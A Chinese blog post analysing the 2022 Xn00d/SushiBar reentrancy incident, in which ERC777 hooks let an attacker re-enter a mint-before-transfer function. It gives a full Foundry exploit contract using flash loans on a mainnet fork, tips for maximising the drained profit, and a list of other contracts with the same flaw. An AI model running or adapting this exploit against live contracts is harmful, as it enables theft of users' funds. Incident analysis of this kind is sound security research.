Xn00d被攻击事件分析

  • 小驹
  • 更新于 2022-11-15 22:06
  • 阅读 2358

典型的重入漏洞,分析重入漏洞两板斧:1. 找循环 ,2. 找代币变化。

基础知识

ERC777

ERC777是ERC20标准的高级代币标准,要提供了一些新的功能:运营商及钩子。

  • 运营商功能。通过此功能能够允许第三方账户代表某一合约或者地址 进行代币的发送交易
  • 钩子功能。给该合约或者地址对其账户中的代币更多的控制权,防止运营商作恶,同时可以定义地址或者合约对某些代币进行控制以及提供拒绝接收某些代币功能

举个简单的栗子解释这两个功能(更多详细内容可阅读参考部分提供的链接)。

运营商功能:某区块链公司的老板使用某种基于ERC777的A代币作为工资发放,公司账户一共有500万的A代币,而经过人事的计算,本月共应发总工资为200万代币A,那么公司老板就可以将财务的以太坊钱包地址作为运营商,并授权200万 A代币的使用权限,那么财务便有权限使用公司地址500万中的200万 A代币,并且对于公司来说,其余的金额是安全的。

钩子功能:可用来限制运营商的一些权限。如公司老板可以通过钩子规定运营商对公司账户中授权的200万A代币的走向做一个限制,规定只能转向某些已经标名备注了的地址,例如公司全体员工地址,以及限定单笔可发送的最大值等等。

基本知识

攻击的背景

攻击发生时间2022-10-26 12:46:59

区块高度:15826380

攻击者: 0x8Ca72F46056D85DB271Dd305F6944f32A9870FF0

受害合约: 0x9C5A2A6431523fBBC648fb83137A20A2C1789C56

pair合约: 0x5476DB8B72337d44A6724277083b1a927c82a389 为n00dToken与WETH的pair合约,为uniswapV2的pair合约。

SushiBar ERC20合约地址:0x3561081260186E69369E6C32F280836554292E08

n00dToken ERC777合约地址: 0x2321537fd8EF4644BacDCEec54E5F35bf44311fA

这两个合约是什么关系?SushiBar合约中有个sushi的合约变量,指向的是n00dToken,

contract n00dToken is ERC777 {
    constructor(uint256 initialSupply, address[] memory defaultOperators)
        ERC777("n00dle", "n00d", defaultOperators)
    {
        _mint(msg.sender, initialSupply, "", "");
    }
}

Untitled.png

攻击最终获利多少呢?

通过上图,从资产转移来看,最终的攻击效果是,黑客攻击了SushiBar合约,从SushiBar合约中提取了42,752价值的n00dToken,用42,752的n00dToken在Uniswap中换了价值29,388的WETH,最后将29,388的WETH换成了ETH.

sushiBar合约的enter函数代码

功能:将n00dToken兑换成bar币。

输入:要兑换的n00dToken的数量。

输出:兑换出bar币到msg.sender中。

函数执行过程中

mint出凭证,得到发送者的noodToken。(注意这里的顺序,是先mint,后得到noodToken,这也是漏洞出现的原因)

调用enter后,sushiBar合约会mint出一定数量的凭证,然后从noodToken中转移_amount数量的noodToken到sushiBar合约中。

// Enter the bar. Pay some SUSHIs. Earn some shares.
    function enter(uint256 _amount) public {
        uint256 totalSushi = sushi.balanceOf(address(this));
        uint256 totalShares = totalSupply();
        if (totalShares == 0 || totalSushi == 0) {
            _mint(msg.sender, _amount);
        } else {
            uint256 what = _amount.mul(totalShares).div(totalSushi);
            _mint(msg.sender, what);
        }
        sushi.transferFrom(msg.sender, address(this), _amount);
    }

// enter的计算方式: uint barSwapCount = enterAmount.mul(bar.totalSupply()).div(n00d.balanceOf(BARADDR));

假设输入的n00dToken币数量为n,可兑换出的bar的数量为b,bar合约的totalSupply为T,bar合约的n00dToken余额(n00d.balanceOf(BARADDR))为B。则有

b=n*T/B (1)

enter完成后,T的值和B的值都会发生变化,各自的变量函数如下:

T‘ = T + b (2)

B’ = B + n (3)

sushiBar合约的leave函数代码

功能:将bar币兑换成n00dToken。

输入: 要兑换的bar币的数量

输出:兑换出n00dToken到msg.sender

function leave(uint256 _share) public {
        uint256 totalShares = totalSupply();
        uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares);
        _burn(msg.sender, _share);
        sushi.transfer(msg.sender, what);
    }
}

// uint n00dSwapCount = (bar.balanceOf(address(this)).mul(n00d.balanceOf(BARADDR))).div(bar.totalSupply());

假设输入的bar币数量为b’,可兑换出的n00dToken的数量为n’,bar合约的totalSupply为T’,bar合约的n00dToken余额(n00d.balanceOf(BARADDR))为B’。则有

n’=b’*B’/T’ (4)

SushiBar与n00dToken的关系

假设这样一个场景:用户在enter中使用n个n00dToken,mint出b个bar币。如果这个用户在leave中burn掉这b个bar币,可以得到多少个n00dToken?

根据4,得到的n’=b’*B’/T’

因为b’就是mint出来的,所以b’=b

所以n’=b’*B’/T’ =bB’/T’ 将(2)代入 = bB’/(T+b) 将(1)换成T=bB/n代入 = bB’/(bB/n + b)= n

所以使用n个n00dToken mint的b个bar币,直接leave掉的话,还会得到n个n00dToken.

漏洞原理

漏洞关键点:

1.先mint后transferFrom的漏洞代码

漏洞出现在上面的shiBar合约的enter函数中,shiBar合约中,主要是因为先执行了mint,后执行了transferFrom。

// Enter the bar. Pay some SUSHIs. Earn some shares.
    function enter(uint256 _amount) public {
        uint256 totalSushi = sushi.balanceOf(address(this));
        uint256 totalShares = totalSupply();
        if (totalShares == 0 || totalSushi == 0) {
            _mint(msg.sender, _amount);
        } else {
            uint256 what = _amount.mul(totalShares).div(totalSushi);
            _mint(msg.sender, what); 
        }
        sushi.transferFrom(msg.sender, address(this), _amount);
    }

2. ERC777的钩子函数。

n00dToken使用了ERC777的规范,所以可以对n00dToken设置钩子函数,从而可以劫持1中的transfrom,在钩子函数中再次调用enter实现重入。

<aside> 💩 研究发现,先mint后transFrom的合约还是有很多的(具体合约不暴露了,有兴趣的可以加微信xiaoju521)。比如下面的:

0x8798249c……1865ff4272 0xf7a038375……ff98e3790202b3 0x9257fb8fa……47403617b1938 0x36b679bd……dcb892cb66bd4cbb

</aside>

漏洞分析

典型的重入漏洞,分析重入漏洞两板斧:

  1. 找循环
  2. 找代币变化。

找循环的调用关系

bar.enter()→bar.mint()→hack.tokensToSend→bar.enter→bar.mint()→hack.tokensToSend→…..

→n00dToken.transferFrom

标颜色的两个部分实现了循环调用,在循环调用完成后(这时已经调用了多次的mint)才会调用n00dToken.transferFrom进行转账。

找代币变化

“吃了两碗的粉,只给了一碗的钱”。正常情况下,调用完一次mint,就会转账,然后更新各类的balance。但在重入的情况下,调用了第1次的mint,没进行转账和balance更新,又调用第2次mint,也没进行转账和balance更新,直到n次重入完成后,才进行第1次mint时的转账和balance更新,相同于第2,3……,n次时还是用第1次mint时的价格结的账。

1.循环调用

bar.enter()中先mint后transfer,transfer会调用到黑客的tokensToSend,黑客在tokensToSend函数中再次调用bar.enter()

2.代币变化

正常情况与重入状态下的代币的变化

<aside> 💩 总结: 1.正常情况下,同等数量的n00dToken会mint出相同数量的bar。 2.正常情况下和重入攻击情况下,最终的n00d.balanceOf(bar)会相同,但bar.supply重入攻击情况下比正常情况下大。   因为重入中,最终的transferFrom都会执行,所以n00d.balanceOf(bar)会相同。   而由于差价的改变,重入时多mint了bar,所以bar.supply重入攻击情况下比正常情况下大。

  1. 重入攻击的作用就是在拖延了transferFrom的执行,因为transferFrom会引起价格变化,拖延 transferFrom的执行就相同于延缓了价格变化,用低价mint了后面几次。

</aside>

Untitled 1.png

我们可以比较在当时的区块上,正常转账与重入攻击状态下转账的情况。

正常转账情况

不论是一性转入还是分三次转。最终mint出来的bar的数量是一致的,都为14900396190115982310618

  • 一次性entry 15110473474058799859170 = 3 * 5036824491352933286390, 会mint出sushiBar数量为 14900396190115982310618
  • 分三次,每次entry 5036824491352933286390。可以看到每次使用相同的n00dToken都会兑换出相同的bar,每次mint后都会引起bar.supply和n00d.balanceOf(bar)的变化。

    三次共mint出的bar数量: 14900396190115982310618 第一次mint出的bar数量: 4966798730038660770206 第二次mint出的bar数量: 4966798730038660770206 第三次mint出的bar数量: 4966798730038660770206

    在这三次mint的过程中,bar.supply和n00d.balanceOf(bar)的变化情况如下:

    bar.supply: 7946728885657408588790 , n00d.ban: 8058768001881461618923

    Enter 5036824491352933286390 n00d -> 4966798730038660770206 bar

    bar.supply: 12913527615696069358996, n00d.ban: 13095592493234394905313

    Enter 5036824491352933286390 n00d -> 4966798730038660770206 bar

    bar.supply: 17880326345734730129202, n00d.ban: 18132416984587328191703

    Enter 5036824491352933286390 n00d -> 4966798730038660770206 bar

    bar.supply: 22847125075773390899408, n00d.ban: 23169241475940261478093

    加粗的表示每次mint出来的bar的数量。

    棕色底的数值上面的两个加起来会等于下面的。

    绿色的数值上面的两个加起来会等于下面的。

重入攻击情况下

而在重入情况下。mint出来的bar数量为34100275953928728876790>14900396190115982310618

在攻击中,一共输入5036824491352933286390 进行了3次的entry。共mint出 26153547068271320288007

攻击中共调用了三次entry,每次mint出来的数量如下:

before Enter]bar.supply: 7946728885657408588790 , n00d.ban: 8058768001881461618923

三次共mint:26153547068271320288007

第一次mint: 4966798730038660770207 第二次mint: 8071106172719568973063 第三次mint: 13115642165513090544737

bar.supply: 34100275953928728876790, n00d.ban: 23169241475940261478093

Untitled 2.png

Untitled 3.png

黑客攻击过程

调用过程,hackEOA调用了hackCon的fc7e3db8函数。

  1. 调用[ERC1820Registry].setInterfaceImplementer,这样在ERC777转账的钩子函数中会调用到注册的实现函数。

  2. [UniswapV2Pair].getReserves()。计算出pair合约中的n00dToken的储备量。

  3. n00dToke.approve(SushiBar,10073648982705866572782000)。根据2中计算出的n00dToken的储备量来进行授权,授权的数量为储备量*500

  4. 进行uniswap中的闪电贷功能。

    调用uniswapV2Pair的swap。贷出pair合约中的所有的n00dToken,使用data使用0x333,会触发回调hackCon合约的uniswapV2Call函数

  5. hackCon合约的uniswapV2Call函数

    1. [SushiBar].enter(_amount=5036824491352933286391)

      <aside> 💩 为什么enter这个数字?比如第一次调用sushiBar.enter时,贷出的n00dToken数量为:20147297965411733145563,却只使用了5036824491352933286391?

      因为enter时只拿出了1/4的进入sushiBar.enter

      那为什么拿1/4进入? 另外的2/3用于钩子函数中tokensToSend中,在重入时的使用。每次重入执行3次enter,每次使用1/3的贷款

      </aside>

      enter函数的主要操作主要有两个:1.mint出凭证。2.从调用者获得noodToken的输入。这两个是按从1到2的顺序执行的。在执行动作2时会调用到n00dToken的transferFrom,因为n00dToken是ERC777,所以会调用到钩子函数,对应着hackCon的tokensToSend函数,而这个函数是黑客合约中自己写的代码,黑客在这个函数中又调用了SushiBar的enter函数。至此,这一步的调用过程从enter来,最终又调用enter,一个循环就此产生,也就是重入攻击。

      在这里执行3次后,得到一大笔凭证。

    2. [SushiBar].leave,会将凭证毁掉,取回n00dToken

    3. 将取回n00dToken归还闪电贷的本息。

  6. 将此时的所有的n00dToken在uniswap中兑换成WETH。

  7. 循环执行上面的2-5步,重复4次。最终得到20.82个WETH.

漏洞复现

参考代码(可联系获取):

anvil --fork-url https://rpc.ankr.com/eth --fork-block-number 15826379

代码中有3要要注意的变量,这三个变量根据重入漏洞和池子reserve的不同,追求利益最大化时要动态调整。

  • uint ATTACK_COUNT = 4; // 记录共进行了几次攻击
  • uint RECOUNT_PER_ATTACK = 2; // 记录每次攻击中执行几次重入操作
  • enterAmount //在闪电贷调用函数中uniswapV2Call,将贷入的资金分了几份,表示每份资金的数量,黑客攻击过程中使用的是4,因为共执行了3次enter,需要用到3份资金,这里就比3多分了一份。
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "../src/interface.sol";
import "../src/SushiBar.sol";
import "forge-std/console2.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract ContractTest is Test{
    using SafeMath for uint256;
    address constant N00DADDR = 0x2321537fd8EF4644BacDCEec54E5F35bf44311fA;
    address constant BARADDR = 0x3561081260186E69369E6C32F280836554292E08;

    IERC777 n00d = IERC777(N00DADDR);
    sushiBar bar = sushiBar(BARADDR);
    Uni_Pair_V2 pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    uint enterAmount = 0;
    uint ATTACK_COUNT = 4; // 记录共进行了几次攻击
    uint RECOUNT_PER_ATTACK = 2; // 记录每次攻击中执行几次重入操作
    uint curCountPerAttack = 0;
    uint n00dReserve;
    uint wethReserve;
    function setUp() public {
        // cheats.createSelectFork("mainnet", 15826379);
    }

    function testExploit() public{
        registry.setInterfaceImplementer(address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this));
        for (uint256 curAttCount = 0; curAttCount &lt; ATTACK_COUNT; curAttCount++) { // 共执行4次攻击
            console2.log("\n[Attack times: %d]", curAttCount);
            curCountPerAttack = 0; // 每轮攻击之前,将重入的次数归0

            (n00dReserve, wethReserve, ) = pair.getReserves();
            console2.log("\nPair n00dReserve: %d, wethReserve: %d", n00dReserve, wethReserve);
            n00d.approve(BARADDR, ~uint(0)); 
            bytes memory data = "0x333";
            pair.swap(n00dReserve - 1, 0, address(this), data); //进行闪电贷,会来到自定义的uniswapV2Call函数执行
            uint amountIn = n00d.balanceOf(address(this)); 
            (uint n00dR, uint WETHR, ) = pair.getReserves();
            uint amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);
            n00d.transfer(address(pair), amountIn);
            pair.swap(0, amountOut, address(this), "");
            emit log_named_decimal_uint(
                "Attacker WETH profit after exploit",
                WETH.balanceOf(address(this)),
                18
            );
        }

    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{
        enterAmount = (n00d.balanceOf(address(this))-1) / 4; // 攻击过程中使用的是4,因为共执行了3次enter,需要用到3份资金,这里就比3多分了一份。

        // enter的计算方式: uint barSwapCount = enterAmount.mul(bar.totalSupply()).div(n00d.balanceOf(BARADDR));
        bar.enter(enterAmount);
        // leave的计算方式: _share.mul(sushi.balanceOf(address(this))).div(totalShares);
        // uint n00dSwapCount = (bar.balanceOf(address(this)).mul(n00d.balanceOf(BARADDR))).div(bar.totalSupply());

        bar.leave(bar.balanceOf(address(this)));

        uint flashReAmount = n00dReserve * 1000 / 997 + 1;
        n00d.transfer(address(pair), flashReAmount); //归还闪电贷本息
    }

    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        if(to == address(bar) && curCountPerAttack &lt; RECOUNT_PER_ATTACK){ // 攻击者执行了2次
            curCountPerAttack++;
            bar.enter(enterAmount);
        }
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {}

}

思考

1.如何利益最大化

那么思考一个问题:是不是共攻击4次,每次执行2次重入就能利益最大化呢?

不是的。 

可以试验,如果共攻击3次,每次执行3次重入时,能获得的收益(21ETH)比实际攻击过程的收益(20.82ETH)更大一点,但整个池子基本也就是这么大的一个盈利了,不能高出太多了。

那么有没有办法能把提取出的币更高一些呢?这就涉及到uniswapV2合约的计算了。

uniswap的池子中最多可以取出多少?

根据routerV2合约中的getAmountOut的计算函数的代码。

function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        uint amountInWithFee = amountIn.mul(997);
        uint numerator = amountInWithFee.mul(reserveOut);
        uint denominator = reserveIn.mul(1000).add(amountInWithFee);
        amountOut = numerator / denominator;
    }

假设是用A兑换B,getAmountOut是用来计算使用amountIn个A最终能兑换出的B的数量。

函数的输入输入:

amountIn: 用来兑换的A的数量,假设为x。

reserveIn:A的reserve储备量,假设为X。

reserveOut:B的reserve储备量,假设为Y。

计算公式为:

$(0.997x/(X+0.997x))Y$

根据这个公式,永远不可能把Y全部取出来,但会越来越接近Y的储备量。如果分多次取的话,后面取时,Y的数量会起来越少,Y的价格就会越来越高,同样X取出的Y就会越来越少,所以越到最后,取出Y所需要的X起来越多。

所以,回到这个问题的答案,那么有没有办法能把提取出的币更高一些呢?有的,攻击时只是从0x5476DB8B72337d44A6724277083b1a927c82a389的pair合约中借出n00d来进行攻击,如果可以从更多的地方想办法借更多的n00d代币,可能会使取出的币数量列多。

2.还有哪些有类似漏洞的代码

下面的代码中也有类似的问题,但因为对应的n00d合约使用的是ERC20,并非REC777,因此即使有重入的风险,但没法利用。

0x36b679bd64ed73dbfd88909cdcb892cb66bd4cbb Standard 0x8798249c2e607446efb7ad49ec89dd1865ff4272 SushiBar

感谢阅读,我是xiaoju521,欢迎站内沟通交流。

参考

重入漏洞分析-基于hardhat、solidity0.8环境 经典攻击事件分析 xSurge事件中的重入漏洞+套利的完美组合利用 交易tx: https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea

ERC777标准介绍:https://zhuanlan.zhihu.com/p/398181185

给你的ERC777代币制作一个自己的专属账本

ERC777 功能型代币(通证)最佳实践

点赞 2
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
小驹
小驹
区块链安全分析,欢迎私信沟通交流